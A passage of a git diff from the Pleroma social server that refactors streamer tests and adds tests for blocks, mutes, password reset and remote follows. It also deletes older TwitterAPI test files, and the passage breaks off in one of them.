+ alias Pleroma.Web.Streamer
+ alias Pleroma.Web.Streamer.StreamerSocket
+
+ @moduletag needs_streamer: true
+
+ describe "sockets" do
+ setup do
+ user = insert(:user)
+ user2 = insert(:user)
+ {:ok, %{user: user, user2: user2}}
+ end
+
+ test "it can add a socket", %{user: user} do
+ Streamer.add_socket("public", %{transport_pid: 1, assigns: %{user: user}})
+
+ assert(%{"public" => [%StreamerSocket{transport_pid: 1}]} = Streamer.get_sockets())
+ end
+
+ test "it can add multiple sockets per user", %{user: user} do
+ Streamer.add_socket("public", %{transport_pid: 1, assigns: %{user: user}})
+ Streamer.add_socket("public", %{transport_pid: 2, assigns: %{user: user}})
+
+ assert(
+ %{
+ "public" => [
+ %StreamerSocket{transport_pid: 2},
+ %StreamerSocket{transport_pid: 1}
+ ]
+ } = Streamer.get_sockets()
+ )
+ end
+
+ test "it will not add a duplicate socket", %{user: user} do
+ Streamer.add_socket("activity", %{transport_pid: 1, assigns: %{user: user}})
+ Streamer.add_socket("activity", %{transport_pid: 1, assigns: %{user: user}})
+
+ assert(
+ %{
+ "activity" => [
+ %StreamerSocket{transport_pid: 1}
+ ]
+ } = Streamer.get_sockets()
+ )
+ end
+ end
+end
diff --git a/test/web/streamer_test.exs b/test/web/streamer/streamer_test.exs
index 4633d7765..7166d6f0b 100644
--- a/test/web/streamer_test.exs
+++ b/test/web/streamer/streamer_test.exs
@@ -1,36 +1,29 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.StreamerTest do
use Pleroma.DataCase
+ import Pleroma.Factory
+
+ alias Pleroma.Conversation.Participation
alias Pleroma.List
alias Pleroma.User
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.Streamer
- import Pleroma.Factory
+ alias Pleroma.Web.Streamer.StreamerSocket
+ alias Pleroma.Web.Streamer.Worker
- setup do
- skip_thread_containment = Pleroma.Config.get([:instance, :skip_thread_containment])
+ @moduletag needs_streamer: true, capture_log: true
- on_exit(fn ->
- Pleroma.Config.put([:instance, :skip_thread_containment], skip_thread_containment)
- end)
+ @streamer_timeout 150
+ @streamer_start_wait 10
- :ok
- end
+ clear_config_all([:instance, :skip_thread_containment])
describe "user streams" do
setup do
- GenServer.start(Streamer, %{}, name: Streamer)
-
- on_exit(fn ->
- if pid = Process.whereis(Streamer) do
- Process.exit(pid, :kill)
- end
- end)
-
user = insert(:user)
notify = insert(:notification, user: user, activity: build(:note_activity))
{:ok, %{user: user, notify: notify}}
@@ -39,7 +32,7 @@ defmodule Pleroma.Web.StreamerTest do
test "it sends notify to in the 'user' stream", %{user: user, notify: notify} do
task =
Task.async(fn ->
- assert_receive {:text, _}, 4_000
+ assert_receive {:text, _}, @streamer_timeout
end)
Streamer.add_socket(
@@ -54,7 +47,7 @@ defmodule Pleroma.Web.StreamerTest do
test "it sends notify to in the 'user:notification' stream", %{user: user, notify: notify} do
task =
Task.async(fn ->
- assert_receive {:text, _}, 4_000
+ assert_receive {:text, _}, @streamer_timeout
end)
Streamer.add_socket(
@@ -65,6 +58,83 @@ defmodule Pleroma.Web.StreamerTest do
Streamer.stream("user:notification", notify)
Task.await(task)
end
+
+ test "it doesn't send notify to the 'user:notification' stream when a user is blocked", %{
+ user: user
+ } do
+ blocked = insert(:user)
+ {:ok, _user_relationship} = User.block(user, blocked)
+
+ task = Task.async(fn -> refute_receive {:text, _}, @streamer_timeout end)
+
+ Streamer.add_socket(
+ "user:notification",
+ %{transport_pid: task.pid, assigns: %{user: user}}
+ )
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => ":("})
+ {:ok, notif, _} = CommonAPI.favorite(activity.id, blocked)
+
+ Streamer.stream("user:notification", notif)
+ Task.await(task)
+ end
+
+ test "it doesn't send notify to the 'user:notification' stream when a thread is muted", %{
+ user: user
+ } do
+ user2 = insert(:user)
+ task = Task.async(fn -> refute_receive {:text, _}, @streamer_timeout end)
+
+ Streamer.add_socket(
+ "user:notification",
+ %{transport_pid: task.pid, assigns: %{user: user}}
+ )
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "super hot take"})
+ {:ok, activity} = CommonAPI.add_mute(user, activity)
+ {:ok, notif, _} = CommonAPI.favorite(activity.id, user2)
+ Streamer.stream("user:notification", notif)
+ Task.await(task)
+ end
+
+ test "it doesn't send notify to the 'user:notification' stream' when a domain is blocked", %{
+ user: user
+ } do
+ user2 = insert(:user, %{ap_id: "https://hecking-lewd-place.com/user/meanie"})
+ task = Task.async(fn -> refute_receive {:text, _}, @streamer_timeout end)
+
+ Streamer.add_socket(
+ "user:notification",
+ %{transport_pid: task.pid, assigns: %{user: user}}
+ )
+
+ {:ok, user} = User.block_domain(user, "hecking-lewd-place.com")
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "super hot take"})
+ {:ok, notif, _} = CommonAPI.favorite(activity.id, user2)
+
+ Streamer.stream("user:notification", notif)
+ Task.await(task)
+ end
+
+ test "it sends follow activities to the 'user:notification' stream", %{
+ user: user
+ } do
+ user2 = insert(:user)
+ task = Task.async(fn -> assert_receive {:text, _}, @streamer_timeout end)
+
+ Process.sleep(@streamer_start_wait)
+
+ Streamer.add_socket(
+ "user:notification",
+ %{transport_pid: task.pid, assigns: %{user: user}}
+ )
+
+ {:ok, _follower, _followed, _activity} = CommonAPI.follow(user2, user)
+
+ # We don't directly pipe the notification to the streamer as it's already
+ # generated as a side effect of CommonAPI.follow().
+ Task.await(task)
+ end
end
test "it sends to public" do
@@ -73,14 +143,12 @@ defmodule Pleroma.Web.StreamerTest do
task =
Task.async(fn ->
- assert_receive {:text, _}, 4_000
+ assert_receive {:text, _}, @streamer_timeout
end)
- fake_socket = %{
+ fake_socket = %StreamerSocket{
transport_pid: task.pid,
- assigns: %{
- user: user
- }
+ user: user
}
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "Test"})
@@ -89,7 +157,7 @@ defmodule Pleroma.Web.StreamerTest do
"public" => [fake_socket]
}
- Streamer.push_to_socket(topics, "public", activity)
+ Worker.push_to_socket(topics, "public", activity)
Task.await(task)
@@ -102,15 +170,13 @@ defmodule Pleroma.Web.StreamerTest do
}
|> Jason.encode!()
- assert_receive {:text, received_event}, 4_000
+ assert_receive {:text, received_event}, @streamer_timeout
assert received_event == expected_event
end)
- fake_socket = %{
+ fake_socket = %StreamerSocket{
transport_pid: task.pid,
- assigns: %{
- user: user
- }
+ user: user
}
{:ok, activity} = CommonAPI.delete(activity.id, other_user)
@@ -119,7 +185,7 @@ defmodule Pleroma.Web.StreamerTest do
"public" => [fake_socket]
}
- Streamer.push_to_socket(topics, "public", activity)
+ Worker.push_to_socket(topics, "public", activity)
Task.await(task)
end
@@ -128,7 +194,8 @@ defmodule Pleroma.Web.StreamerTest do
test "it doesn't send to user if recipients invalid and thread containment is enabled" do
Pleroma.Config.put([:instance, :skip_thread_containment], false)
author = insert(:user)
- user = insert(:user, following: [author.ap_id])
+ user = insert(:user)
+ User.follow(user, author, "accept")
activity =
insert(:note_activity,
@@ -140,9 +207,9 @@ defmodule Pleroma.Web.StreamerTest do
)
task = Task.async(fn -> refute_receive {:text, _}, 1_000 end)
- fake_socket = %{transport_pid: task.pid, assigns: %{user: user}}
+ fake_socket = %StreamerSocket{transport_pid: task.pid, user: user}
topics = %{"public" => [fake_socket]}
- Streamer.push_to_socket(topics, "public", activity)
+ Worker.push_to_socket(topics, "public", activity)
Task.await(task)
end
@@ -150,7 +217,8 @@ defmodule Pleroma.Web.StreamerTest do
test "it sends message if recipients invalid and thread containment is disabled" do
Pleroma.Config.put([:instance, :skip_thread_containment], true)
author = insert(:user)
- user = insert(:user, following: [author.ap_id])
+ user = insert(:user)
+ User.follow(user, author, "accept")
activity =
insert(:note_activity,
@@ -162,9 +230,9 @@ defmodule Pleroma.Web.StreamerTest do
)
task = Task.async(fn -> assert_receive {:text, _}, 1_000 end)
- fake_socket = %{transport_pid: task.pid, assigns: %{user: user}}
+ fake_socket = %StreamerSocket{transport_pid: task.pid, user: user}
topics = %{"public" => [fake_socket]}
- Streamer.push_to_socket(topics, "public", activity)
+ Worker.push_to_socket(topics, "public", activity)
Task.await(task)
end
@@ -172,7 +240,8 @@ defmodule Pleroma.Web.StreamerTest do
test "it sends message if recipients invalid and thread containment is enabled but user's thread containment is disabled" do
Pleroma.Config.put([:instance, :skip_thread_containment], false)
author = insert(:user)
- user = insert(:user, following: [author.ap_id], info: %{skip_thread_containment: true})
+ user = insert(:user, skip_thread_containment: true)
+ User.follow(user, author, "accept")
activity =
insert(:note_activity,
@@ -184,40 +253,76 @@ defmodule Pleroma.Web.StreamerTest do
)
task = Task.async(fn -> assert_receive {:text, _}, 1_000 end)
- fake_socket = %{transport_pid: task.pid, assigns: %{user: user}}
+ fake_socket = %StreamerSocket{transport_pid: task.pid, user: user}
topics = %{"public" => [fake_socket]}
- Streamer.push_to_socket(topics, "public", activity)
+ Worker.push_to_socket(topics, "public", activity)
Task.await(task)
end
end
- test "it doesn't send to blocked users" do
- user = insert(:user)
- blocked_user = insert(:user)
- {:ok, user} = User.block(user, blocked_user)
+ describe "blocks" do
+ test "it doesn't send messages involving blocked users" do
+ user = insert(:user)
+ blocked_user = insert(:user)
+ {:ok, _user_relationship} = User.block(user, blocked_user)
- task =
- Task.async(fn ->
- refute_receive {:text, _}, 1_000
- end)
+ task =
+ Task.async(fn ->
+ refute_receive {:text, _}, 1_000
+ end)
- fake_socket = %{
- transport_pid: task.pid,
- assigns: %{
+ fake_socket = %StreamerSocket{
+ transport_pid: task.pid,
user: user
}
- }
- {:ok, activity} = CommonAPI.post(blocked_user, %{"status" => "Test"})
+ {:ok, activity} = CommonAPI.post(blocked_user, %{"status" => "Test"})
- topics = %{
- "public" => [fake_socket]
- }
+ topics = %{
+ "public" => [fake_socket]
+ }
- Streamer.push_to_socket(topics, "public", activity)
+ Worker.push_to_socket(topics, "public", activity)
- Task.await(task)
+ Task.await(task)
+ end
+
+ test "it doesn't send messages transitively involving blocked users" do
+ blocker = insert(:user)
+ blockee = insert(:user)
+ friend = insert(:user)
+
+ task =
+ Task.async(fn ->
+ refute_receive {:text, _}, 1_000
+ end)
+
+ fake_socket = %StreamerSocket{
+ transport_pid: task.pid,
+ user: blocker
+ }
+
+ topics = %{
+ "public" => [fake_socket]
+ }
+
+ {:ok, _user_relationship} = User.block(blocker, blockee)
+
+ {:ok, activity_one} = CommonAPI.post(friend, %{"status" => "hey! @#{blockee.nickname}"})
+
+ Worker.push_to_socket(topics, "public", activity_one)
+
+ {:ok, activity_two} = CommonAPI.post(blockee, %{"status" => "hey! @#{friend.nickname}"})
+
+ Worker.push_to_socket(topics, "public", activity_two)
+
+ {:ok, activity_three} = CommonAPI.post(blockee, %{"status" => "hey! @#{blocker.nickname}"})
+
+ Worker.push_to_socket(topics, "public", activity_three)
+
+ Task.await(task)
+ end
end
test "it doesn't send unwanted DMs to list" do
@@ -235,11 +340,9 @@ defmodule Pleroma.Web.StreamerTest do
refute_receive {:text, _}, 1_000
end)
- fake_socket = %{
+ fake_socket = %StreamerSocket{
transport_pid: task.pid,
- assigns: %{
- user: user_a
- }
+ user: user_a
}
{:ok, activity} =
@@ -252,7 +355,7 @@ defmodule Pleroma.Web.StreamerTest do
"list:#{list.id}" => [fake_socket]
}
- Streamer.handle_cast(%{action: :stream, topic: "list", item: activity}, topics)
+ Worker.handle_call({:stream, "list", activity}, self(), topics)
Task.await(task)
end
@@ -269,11 +372,9 @@ defmodule Pleroma.Web.StreamerTest do
refute_receive {:text, _}, 1_000
end)
- fake_socket = %{
+ fake_socket = %StreamerSocket{
transport_pid: task.pid,
- assigns: %{
- user: user_a
- }
+ user: user_a
}
{:ok, activity} =
@@ -286,12 +387,12 @@ defmodule Pleroma.Web.StreamerTest do
"list:#{list.id}" => [fake_socket]
}
- Streamer.handle_cast(%{action: :stream, topic: "list", item: activity}, topics)
+ Worker.handle_call({:stream, "list", activity}, self(), topics)
Task.await(task)
end
- test "it send wanted private posts to list" do
+ test "it sends wanted private posts to list" do
user_a = insert(:user)
user_b = insert(:user)
@@ -305,11 +406,9 @@ defmodule Pleroma.Web.StreamerTest do
assert_receive {:text, _}, 1_000
end)
- fake_socket = %{
+ fake_socket = %StreamerSocket{
transport_pid: task.pid,
- assigns: %{
- user: user_a
- }
+ user: user_a
}
{:ok, activity} =
@@ -318,11 +417,12 @@ defmodule Pleroma.Web.StreamerTest do
"visibility" => "private"
})
- topics = %{
- "list:#{list.id}" => [fake_socket]
- }
+ Streamer.add_socket(
+ "list:#{list.id}",
+ fake_socket
+ )
- Streamer.handle_cast(%{action: :stream, topic: "list", item: activity}, topics)
+ Worker.handle_call({:stream, "list", activity}, self(), %{})
Task.await(task)
end
@@ -338,11 +438,9 @@ defmodule Pleroma.Web.StreamerTest do
refute_receive {:text, _}, 1_000
end)
- fake_socket = %{
+ fake_socket = %StreamerSocket{
transport_pid: task.pid,
- assigns: %{
- user: user1
- }
+ user: user1
}
{:ok, create_activity} = CommonAPI.post(user3, %{"status" => "I'm kawen"})
@@ -352,21 +450,33 @@ defmodule Pleroma.Web.StreamerTest do
"public" => [fake_socket]
}
- Streamer.push_to_socket(topics, "public", announce_activity)
+ Worker.push_to_socket(topics, "public", announce_activity)
Task.await(task)
end
- describe "direct streams" do
- setup do
- GenServer.start(Streamer, %{}, name: Streamer)
+ test "it doesn't send posts from muted threads" do
+ user = insert(:user)
+ user2 = insert(:user)
+ {:ok, user2, user, _activity} = CommonAPI.follow(user2, user)
- on_exit(fn ->
- if pid = Process.whereis(Streamer) do
- Process.exit(pid, :kill)
- end
- end)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "super hot take"})
+
+ {:ok, activity} = CommonAPI.add_mute(user2, activity)
+ task = Task.async(fn -> refute_receive {:text, _}, @streamer_timeout end)
+
+ Streamer.add_socket(
+ "user",
+ %{transport_pid: task.pid, assigns: %{user: user2}}
+ )
+
+ Streamer.stream("user", activity)
+ Task.await(task)
+ end
+
+ describe "direct streams" do
+ setup do
:ok
end
@@ -376,7 +486,14 @@ defmodule Pleroma.Web.StreamerTest do
task =
Task.async(fn ->
- assert_receive {:text, _received_event}, 4_000
+ assert_receive {:text, received_event}, @streamer_timeout
+
+ assert %{"event" => "conversation", "payload" => received_payload} =
+ Jason.decode!(received_event)
+
+ assert %{"last_status" => last_status} = Jason.decode!(received_payload)
+ [participation] = Participation.for_user(user)
+ assert last_status["pleroma"]["direct_conversation_id"] == participation.id
end)
Streamer.add_socket(
@@ -393,7 +510,7 @@ defmodule Pleroma.Web.StreamerTest do
Task.await(task)
end
- test "it doesn't send conversation update to the 'direct' streamj when the last message in the conversation is deleted" do
+ test "it doesn't send conversation update to the 'direct' stream when the last message in the conversation is deleted" do
user = insert(:user)
another_user = insert(:user)
@@ -405,12 +522,14 @@ defmodule Pleroma.Web.StreamerTest do
task =
Task.async(fn ->
- assert_receive {:text, received_event}, 4_000
+ assert_receive {:text, received_event}, @streamer_timeout
assert %{"event" => "delete", "payload" => _} = Jason.decode!(received_event)
- refute_receive {:text, _}, 4_000
+ refute_receive {:text, _}, @streamer_timeout
end)
+ Process.sleep(@streamer_start_wait)
+
Streamer.add_socket(
"direct",
%{transport_pid: task.pid, assigns: %{user: user}}
@@ -440,10 +559,10 @@ defmodule Pleroma.Web.StreamerTest do
task =
Task.async(fn ->
- assert_receive {:text, received_event}, 4_000
+ assert_receive {:text, received_event}, @streamer_timeout
assert %{"event" => "delete", "payload" => _} = Jason.decode!(received_event)
- assert_receive {:text, received_event}, 4_000
+ assert_receive {:text, received_event}, @streamer_timeout
assert %{"event" => "conversation", "payload" => received_payload} =
Jason.decode!(received_event)
@@ -452,6 +571,8 @@ defmodule Pleroma.Web.StreamerTest do
assert last_status["id"] == to_string(create_activity.id)
end)
+ Process.sleep(@streamer_start_wait)
+
Streamer.add_socket(
"direct",
%{transport_pid: task.pid, assigns: %{user: user}}
diff --git a/test/web/twitter_api/password_controller_test.exs b/test/web/twitter_api/password_controller_test.exs
index 3a7246ea8..29ba7d265 100644
--- a/test/web/twitter_api/password_controller_test.exs
+++ b/test/web/twitter_api/password_controller_test.exs
@@ -6,6 +6,7 @@ defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do
use Pleroma.Web.ConnCase
alias Pleroma.PasswordResetToken
+ alias Pleroma.User
alias Pleroma.Web.OAuth.Token
import Pleroma.Factory
@@ -54,7 +55,27 @@ defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do
user = refresh_record(user)
assert Comeonin.Pbkdf2.checkpw("test", user.password_hash)
- assert length(Token.get_user_tokens(user)) == 0
+ assert Enum.empty?(Token.get_user_tokens(user))
+ end
+
+ test "it sets password_reset_pending to false", %{conn: conn} do
+ user = insert(:user, password_reset_pending: true)
+
+ {:ok, token} = PasswordResetToken.create_token(user)
+ {:ok, _access_token} = Token.create_token(insert(:oauth_app), user, %{})
+
+ params = %{
+ "password" => "test",
+ password_confirmation: "test",
+ token: token.token
+ }
+
+ conn
+ |> assign(:user, user)
+ |> post("/api/pleroma/password_reset", %{data: params})
+ |> html_response(:ok)
+
+ assert User.get_by_id(user.id).password_reset_pending == false
end
end
end
diff --git a/test/web/twitter_api/remote_follow_controller_test.exs b/test/web/twitter_api/remote_follow_controller_test.exs
new file mode 100644
index 000000000..444949375
--- /dev/null
+++ b/test/web/twitter_api/remote_follow_controller_test.exs
@@ -0,0 +1,235 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.TwitterAPI.RemoteFollowControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.User
+ alias Pleroma.Web.CommonAPI
+ import ExUnit.CaptureLog
+ import Pleroma.Factory
+
+ setup do
+ Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
+ :ok
+ end
+
+ clear_config([:instance])
+ clear_config([:frontend_configurations, :pleroma_fe])
+ clear_config([:user, :deny_follow_blocked])
+
+ describe "GET /ostatus_subscribe - remote_follow/2" do
+ test "adds status to pleroma instance if the `acct` is a status", %{conn: conn} do
+ assert conn
+ |> get(
+ remote_follow_path(conn, :follow, %{
+ acct: "https://mastodon.social/users/emelie/statuses/101849165031453009"
+ })
+ )
+ |> redirected_to() =~ "/notice/"
+ end
+
+ test "show follow account page if the `acct` is a account link", %{conn: conn} do
+ response =
+ conn
+ |> get(remote_follow_path(conn, :follow, %{acct: "https://mastodon.social/users/emelie"}))
+ |> html_response(200)
+
+ assert response =~ "Log in to follow"
+ end
+
+ test "show follow page if the `acct` is a account link", %{conn: conn} do
+ user = insert(:user)
+
+ response =
+ conn
+ |> assign(:user, user)
+ |> get(remote_follow_path(conn, :follow, %{acct: "https://mastodon.social/users/emelie"}))
+ |> html_response(200)
+
+ assert response =~ "Remote follow"
+ end
+
+ test "show follow page with error when user cannot fecth by `acct` link", %{conn: conn} do
+ user = insert(:user)
+
+ assert capture_log(fn ->
+ response =
+ conn
+ |> assign(:user, user)
+ |> get(
+ remote_follow_path(conn, :follow, %{
+ acct: "https://mastodon.social/users/not_found"
+ })
+ )
+ |> html_response(200)
+
+ assert response =~ "Error fetching user"
+ end) =~ "Object has been deleted"
+ end
+ end
+
+ describe "POST /ostatus_subscribe - do_follow/2 with assigned user " do
+ test "required `follow | write:follows` scope", %{conn: conn} do
+ user = insert(:user)
+ user2 = insert(:user)
+ read_token = insert(:oauth_token, user: user, scopes: ["read"])
+
+ assert capture_log(fn ->
+ response =
+ conn
+ |> assign(:user, user)
+ |> assign(:token, read_token)
+ |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}})
+ |> response(200)
+
+ assert response =~ "Error following account"
+ end) =~ "Insufficient permissions: follow | write:follows."
+ end
+
+ test "follows user", %{conn: conn} do
+ user = insert(:user)
+ user2 = insert(:user)
+
+ response =
+ conn
+ |> assign(:user, user)
+ |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:follows"]))
+ |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}})
+ |> response(200)
+
+ assert response =~ "Account followed!"
+ assert user2.follower_address in User.following(user)
+ end
+
+ test "returns error when user is deactivated", %{conn: conn} do
+ user = insert(:user, deactivated: true)
+ user2 = insert(:user)
+
+ response =
+ conn
+ |> assign(:user, user)
+ |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}})
+ |> response(200)
+
+ assert response =~ "Error following account"
+ end
+
+ test "returns error when user is blocked", %{conn: conn} do
+ Pleroma.Config.put([:user, :deny_follow_blocked], true)
+ user = insert(:user)
+ user2 = insert(:user)
+
+ {:ok, _user_block} = Pleroma.User.block(user2, user)
+
+ response =
+ conn
+ |> assign(:user, user)
+ |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}})
+ |> response(200)
+
+ assert response =~ "Error following account"
+ end
+
+ test "returns error when followee not found", %{conn: conn} do
+ user = insert(:user)
+
+ response =
+ conn
+ |> assign(:user, user)
+ |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => "jimm"}})
+ |> response(200)
+
+ assert response =~ "Error following account"
+ end
+
+ test "returns success result when user already in followers", %{conn: conn} do
+ user = insert(:user)
+ user2 = insert(:user)
+ {:ok, _, _, _} = CommonAPI.follow(user, user2)
+
+ response =
+ conn
+ |> assign(:user, refresh_record(user))
+ |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:follows"]))
+ |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}})
+ |> response(200)
+
+ assert response =~ "Account followed!"
+ end
+ end
+
+ describe "POST /ostatus_subscribe - follow/2 without assigned user " do
+ test "follows", %{conn: conn} do
+ user = insert(:user)
+ user2 = insert(:user)
+
+ response =
+ conn
+ |> post(remote_follow_path(conn, :do_follow), %{
+ "authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id}
+ })
+ |> response(200)
+
+ assert response =~ "Account followed!"
+ assert user2.follower_address in User.following(user)
+ end
+
+ test "returns error when followee not found", %{conn: conn} do
+ user = insert(:user)
+
+ response =
+ conn
+ |> post(remote_follow_path(conn, :do_follow), %{
+ "authorization" => %{"name" => user.nickname, "password" => "test", "id" => "jimm"}
+ })
+ |> response(200)
+
+ assert response =~ "Error following account"
+ end
+
+ test "returns error when login invalid", %{conn: conn} do
+ user = insert(:user)
+
+ response =
+ conn
+ |> post(remote_follow_path(conn, :do_follow), %{
+ "authorization" => %{"name" => "jimm", "password" => "test", "id" => user.id}
+ })
+ |> response(200)
+
+ assert response =~ "Wrong username or password"
+ end
+
+ test "returns error when password invalid", %{conn: conn} do
+ user = insert(:user)
+ user2 = insert(:user)
+
+ response =
+ conn
+ |> post(remote_follow_path(conn, :do_follow), %{
+ "authorization" => %{"name" => user.nickname, "password" => "42", "id" => user2.id}
+ })
+ |> response(200)
+
+ assert response =~ "Wrong username or password"
+ end
+
+ test "returns error when user is blocked", %{conn: conn} do
+ Pleroma.Config.put([:user, :deny_follow_blocked], true)
+ user = insert(:user)
+ user2 = insert(:user)
+ {:ok, _user_block} = Pleroma.User.block(user2, user)
+
+ response =
+ conn
+ |> post(remote_follow_path(conn, :do_follow), %{
+ "authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id}
+ })
+ |> response(200)
+
+ assert response =~ "Error following account"
+ end
+ end
+end
diff --git a/test/web/twitter_api/representers/object_representer_test.exs b/test/web/twitter_api/representers/object_representer_test.exs
deleted file mode 100644
index c3cf330f1..000000000
--- a/test/web/twitter_api/representers/object_representer_test.exs
+++ /dev/null
@@ -1,60 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.TwitterAPI.Representers.ObjectReprenterTest do
- use Pleroma.DataCase
-
- alias Pleroma.Object
- alias Pleroma.Web.TwitterAPI.Representers.ObjectRepresenter
-
- test "represent an image attachment" do
- object = %Object{
- id: 5,
- data: %{
- "type" => "Image",
- "url" => [
- %{
- "mediaType" => "sometype",
- "href" => "someurl"
- }
- ],
- "uuid" => 6
- }
- }
-
- expected_object = %{
- id: 6,
- url: "someurl",
- mimetype: "sometype",
- oembed: false,
- description: nil
- }
-
- assert expected_object == ObjectRepresenter.to_map(object)
- end
-
- test "represents mastodon-style attachments" do
- object = %Object{
- id: nil,
- data: %{
- "mediaType" => "image/png",
- "name" => "blabla",
- "type" => "Document",
- "url" =>
- "http://mastodon.example.org/system/media_attachments/files/000/000/001/original/8619f31c6edec470.png"
- }
- }
-
- expected_object = %{
- url:
- "http://mastodon.example.org/system/media_attachments/files/000/000/001/original/8619f31c6edec470.png",
- mimetype: "image/png",
- oembed: false,
- id: nil,
- description: "blabla"
- }
-
- assert expected_object == ObjectRepresenter.to_map(object)
- end
-end
diff --git a/test/web/twitter_api/twitter_api_controller_test.exs b/test/web/twitter_api/twitter_api_controller_test.exs
deleted file mode 100644
index 8bb8aa36d..000000000
--- a/test/web/twitter_api/twitter_api_controller_test.exs
+++ /dev/null
@@ -1,2159 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.TwitterAPI.ControllerTest do
- use Pleroma.Web.ConnCase
- alias Comeonin.Pbkdf2
- alias Ecto.Changeset
- alias Pleroma.Activity
- alias Pleroma.Builders.ActivityBuilder
- alias Pleroma.Builders.UserBuilder
- alias Pleroma.Notification
- alias Pleroma.Object
- alias Pleroma.Repo
- alias Pleroma.User
- alias Pleroma.Web.ActivityPub.ActivityPub
- alias Pleroma.Web.CommonAPI
- alias Pleroma.Web.OAuth.Token
- alias Pleroma.Web.TwitterAPI.ActivityView
- alias Pleroma.Web.TwitterAPI.Controller
- alias Pleroma.Web.TwitterAPI.NotificationView
- alias Pleroma.Web.TwitterAPI.TwitterAPI
- alias Pleroma.Web.TwitterAPI.UserView
-
- import Mock
- import Pleroma.Factory
- import Swoosh.TestAssertions
-
- @banner "data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7"
-
- describe "POST /api/account/update_profile_banner" do
- test "it updates the banner", %{conn: conn} do
- user = insert(:user)
-
- conn
- |> assign(:user, user)
- |> post(authenticated_twitter_api__path(conn, :update_banner), %{"banner" => @banner})
- |> json_response(200)
-
- user = refresh_record(user)
- assert user.info.banner["type"] == "Image"
- end
-
- test "profile banner can be reset", %{conn: conn} do
- user = insert(:user)
-
- conn
- |> assign(:user, user)
- |> post(authenticated_twitter_api__path(conn, :update_banner), %{"banner" => ""})
- |> json_response(200)
-
- user = refresh_record(user)
- assert user.info.banner == %{}
- end
- end
-
- describe "POST /api/qvitter/update_background_image" do
- test "it updates the background", %{conn: conn} do
- user = insert(:user)
-
- conn
- |> assign(:user, user)
- |> post(authenticated_twitter_api__path(conn, :update_background), %{"img" => @banner})
- |> json_response(200)
-
- user = refresh_record(user)
- assert user.info.background["type"] == "Image"
- end
-
- test "background can be reset", %{conn: conn} do
- user = insert(:user)
-
- conn
- |> assign(:user, user)
- |> post(authenticated_twitter_api__path(conn, :update_background), %{"img" => ""})
- |> json_response(200)
-
- user = refresh_record(user)
- assert user.info.background == %{}
- end
- end
-
- describe "POST /api/account/verify_credentials" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- conn = post(conn, "/api/account/verify_credentials.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: user} do
- response =
- conn
- |> with_credentials(user.nickname, "test")
- |> post("/api/account/verify_credentials.json")
- |> json_response(200)
-
- assert response ==
- UserView.render("show.json", %{user: user, token: response["token"], for: user})
- end
- end
-
- describe "POST /statuses/update.json" do
- setup [:valid_user]
-
- test "without valid credentials", %{conn: conn} do
- conn = post(conn, "/api/statuses/update.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: user} do
- conn_with_creds = conn |> with_credentials(user.nickname, "test")
- request_path = "/api/statuses/update.json"
-
- error_response = %{
- "request" => request_path,
- "error" => "Client must provide a 'status' parameter with a value."
- }
-
- conn =
- conn_with_creds
- |> post(request_path)
-
- assert json_response(conn, 400) == error_response
-
- conn =
- conn_with_creds
- |> post(request_path, %{status: ""})
-
- assert json_response(conn, 400) == error_response
-
- conn =
- conn_with_creds
- |> post(request_path, %{status: " "})
-
- assert json_response(conn, 400) == error_response
-
- # we post with visibility private in order to avoid triggering relay
- conn =
- conn_with_creds
- |> post(request_path, %{status: "Nice meme.", visibility: "private"})
-
- assert json_response(conn, 200) ==
- ActivityView.render("activity.json", %{
- activity: Repo.one(Activity),
- user: user,
- for: user
- })
- end
- end
-
- describe "GET /statuses/public_timeline.json" do
- setup [:valid_user]
-
- test "returns statuses", %{conn: conn} do
- user = insert(:user)
- activities = ActivityBuilder.insert_list(30, %{}, %{user: user})
- ActivityBuilder.insert_list(10, %{}, %{user: user})
